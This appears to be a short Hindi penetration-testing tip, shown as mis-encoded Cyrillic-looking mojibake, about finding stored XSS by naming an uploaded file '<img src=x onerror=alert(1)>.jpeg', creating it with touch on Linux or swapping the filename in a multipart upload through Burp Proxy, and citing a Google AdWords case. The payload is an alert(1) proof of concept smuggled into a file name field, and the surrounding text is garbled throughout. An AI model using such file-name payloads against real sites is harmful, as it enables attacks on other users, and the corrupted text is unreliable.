рдЯреНрд░рд┐рдХ # 7 - XSS рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп "рдЕрд▓реЛрдХрдкреНрд░рд┐рдп" рдЬрдЧрд╣
рддрдереНрдп - рдЯреНрд░рд┐рдХ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рдЬрдЧрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд╣реБрдд рд╣реА рдЕрд▓реЛрдХрдкреНрд░рд┐рдп рд╣реИ рдЬрдм рдХрдИ рдкреЗрдВрдЯрд░реНрд╕ рдХреЗ рдмреАрдЪ рдПрдХреНрд╕рдПрд╕рдПрд╕ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЖрдЗрдбрд┐рдпрд╛: рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ <img src = x onerror = alert (1)>ред Jpeg рдФрд░ рдЗрд╕реЗ рдкреАрдбрд╝рд┐рдд рдХреЛ рднреЗрдЬреЗрдВред
рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдкрд░, рдЙрд╕ рдирд╛рдо рд╕реЗ рдлрд╛рдЗрд▓ рдмрдирд╛рдирд╛ рдЖрд╕рд╛рди рд╣реИ
# рд╕реНрдкрд░реНрд╢ '<img src = x onerror = alert (1)>ред jpeg'
рд▓реЗрдХрд┐рди рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рддрд╣рдд - рдпрд╣ рдЕрд╕рдВрднрд╡ рд╣реИ, рдЗрд╕ рдУрдПрд╕ рдХреЗ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рдХрд╛рд░рдгред рд╕рдорд╛рдзрд╛рди рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ, рд╕рднреА рдмрд░реНрдк рдкреНрд░реЙрдХреНрд╕реА рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рднреЗрдЬрдиреЗ рдХреЗ рдЪрд░рдг рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдмрджрд▓реЗрдВ
------ WebKitFormBoundaryFS9MRFpHBt02jHkz
рд╕рд╛рдордЧреНрд░реА-рд╡рд┐рд╡рд╛рдж: рдлрд╝реЙрд░реНрдо-рдбреЗрдЯрд╛; рдирд╛рдо = "рдЕрдкрд▓реЛрдб [0]"; рдлрд╝рд╛рдЗрд▓ рдирд╛рдо = ""> <img src = x onerror = alert (1)> "
рдЗрд╕реА рддрд░рд╣ рд╕реЗ, Google AdWords рдореЗрдВ XSS рдкрд╛рдпрд╛ рдЧрдпрд╛ -
c0rni3sm.blogspot.ru/2013/12/12/google-adwords-stored-xss-from-nay-to.html , рдЬреЛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЖрдкрдХрд╛ рдзреНрдпрд╛рди рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж!